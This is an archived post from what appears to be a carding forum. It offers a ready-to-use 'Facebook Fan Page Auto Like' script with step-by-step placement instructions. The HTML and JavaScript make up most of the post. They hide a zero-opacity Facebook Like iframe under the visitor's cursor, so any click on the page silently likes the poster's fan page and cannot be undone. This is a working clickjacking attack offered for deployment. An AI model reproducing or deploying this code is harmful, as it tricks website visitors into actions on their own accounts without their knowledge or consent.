PDA

View Full Version : Facebook Fan Page Auto Like Script [HTML]



CardingMafia Admin
04-21-2013, 09:55 AM
Facebook Fan Page Auto Like Script [HTML]
What is this and how it works:
This is an script which needs to be put in your html page in order to work.
When someone click anywhere on your site he will automatically like your page,no need to put like button!
When clicked again can't unlike.
Code [1] goes in <head> to load first:



<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});

function updateActiveElement()
{
if ( $(document.activeElement).attr('id')=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
}

Code [2] goes anywhere in html:
HTML Code:


<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<iframe src="http://www.facebook.com/plugins/like.php?href=YOUR_URL[/COLOR]&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action =like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>

<!--end facebook like frame code-->

</div>


<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer');
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes



function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}

}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}

</script>

Where to put my URL Fanpage?
Find "YOUR_URL" in Code [2] and here put your URL Fanpage.
If you have any question , please reply.
If you dont have any question,rep plus thanks .